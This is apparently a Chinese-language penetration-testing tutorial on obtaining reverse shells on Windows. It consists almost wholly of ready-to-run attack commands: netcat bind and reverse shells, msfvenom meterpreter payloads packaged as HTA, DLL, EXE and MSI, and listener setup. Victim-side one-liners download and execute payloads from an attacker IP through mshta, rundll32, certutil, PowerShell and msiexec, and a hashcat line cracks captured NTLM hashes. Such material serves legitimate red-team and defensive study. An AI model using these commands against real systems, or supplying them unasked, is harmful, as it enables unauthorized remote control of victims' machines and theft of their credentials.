Windows 反弹shell方法
Windows 反弹shell方法
反弹Shell简介
正向shell : 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向shell(反弹shell):被控端主动发起连接请求去连接控制端,通常被控端 由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送 过来的数据包。
NC(少用)
NC正向Shell
原理:被控端将cmd.exe重定向到本地的6666端口,攻击机主动连接被控端的6666端 口,即可获得shell
被控端:nc -lvvp 6666 -e cmd.exe
攻击端:nc 受害机器ip 6666

NC反向Shell
原理:被控端将cmd.exe重定向到攻击机的7777端口,攻击端只需要监听本地的7777 端口,即可获得shell。
攻击端:nc -lvvp 7777
被控端:nc -e cmd.exe 攻击机ip 7777

Mshta
Mshta.exe 是用于负责解释运行 HTA ( HTML 应用程序)文件的 Windows OS 实 用程序。 可以运行 JavaScript 或 VBScript 的 HTML 文件。
Metasploit HTA WebServer
通过 Metasploit 的 HTA Web Server 模块发起 HTA 攻击
use exploit/windows/misc/hta_server
set srvhost 192.168.81.154
set payload windows/x64/meterpreter/reverse_tcp
set target 1
run -j
//目标windowx上执行
mshta http://192.168.42.132:8080/7yPR1cO.hta

Msfvenom生成HTA脚本
通过 Msfvenom 生成恶意 HTA 文件发起攻击
# msfvenom 生成 HTA 脚本文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.42.132 lport=4444 -f hta-psh -o 1.hta
# python3启动Web服务,用于托管HTA脚本
python3 -m http.server
# python2启动Web服务
python2 -m SimpleHTTPServer
//进入 msfconsole 执行
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.42.132 -P 4444
//目标机器执行
mshta.exe http://192.168.42.132:8000/1.hta

Msfvenom生成DLL执行
通过Msfvenom生成反弹shell的dll发起Rundll32攻击
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.132 LPORT=5533 -f dll > mingy.dll
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.42.132 -P 5533
//然后托管文件
python3 -m http.server
2.在目标机器上用powershell的方式去下载挂载的文件
//ps下载
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.42.132:8000/mingy.dll',\"c:\mingy.dll\")
//调用shell32.dll 中的Control_RunDLL函数并传递 木马文件的路径作为参数
//这个命令会打开一个控制面板applet,并加载指定的dll文件
rundll32 shell32.dll,Control_RunDLL C:\mingy.dll

利用smb服务远程加载
这个操作在vps上用不了 smb的都在vps上操作不了,无法访问,但是同一局域网可以。
//攻击机上执行
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.42.132 lport=5555 -f dll -o z.dll
impacket-smbserver dll /root/ (路径是生成的dll木马的)

//msf开启监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.42.132 -P 5555
//目标机器上执行
rundll32.exe shell32.dll,Control_RunDLL \\192.168.42.132\dll\z.dll
执行后,会看见刚刚的impacket那有反应

还可以把那一大串的hash保存成hash文件,用hashcat 去破解, -m 去指定破解的类型 但是需要的内存那些很大,直接cpu干满了,还可以用john 去破解
hashcat -m 5600 vag.hash /usr/share/wordlists/rockyou.txt --force
Certutil
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具 在目标计算机中执行恶意的exe文件以获得meterpreter会话。
官方文档 : https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil
//生成exe恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.42.132 lport=6666 -f exe > 44.exe
//开启http服务
python3 -m http.server
//msf监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.42.132 -P 6666
//受害机器上 ,远程下载恶意文件到自己的temp目录下通过& 来连接下一条命令 bat也可以执行,记得改payload类型
certutil.exe -urlcache -split -f http://192.168.42.132:8000/44.exe c:\windows\temp\44.exe & start c:\windows\temp\44.exe
//删除缓存 这个缓存就是它的payload
certutil.exe -urlcache -split -f http://192.168.42.132:8000/44.exe delete
缓存文件位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
-URLcache : 使用url缓存下载文件,这也意味会创建一个缓存来提高下载的速度
-split : 将文件分块下载,避免在下载大文件的时候出现内存问题
-f : 强制执行下载操作,附带原有的文件


Msiexec
Metasploit + misexe
Windows系统安装有一个Windows安装引擎, MSI 包使用msiexe.exe来解析安装。就像在自己电脑上双击打开msi的文件的时候,电脑会默认以msiexec.exe的方式去进行打开
//生成msi的恶意msi文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.42.132 lport=9999 -f msi > 1.msi
//msf监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.42.132 -P 9999
//开启http服务
python3 -m http.server
//受害机器上执行
msiexec /q /i http://192.168.42.132:8000/1.msi

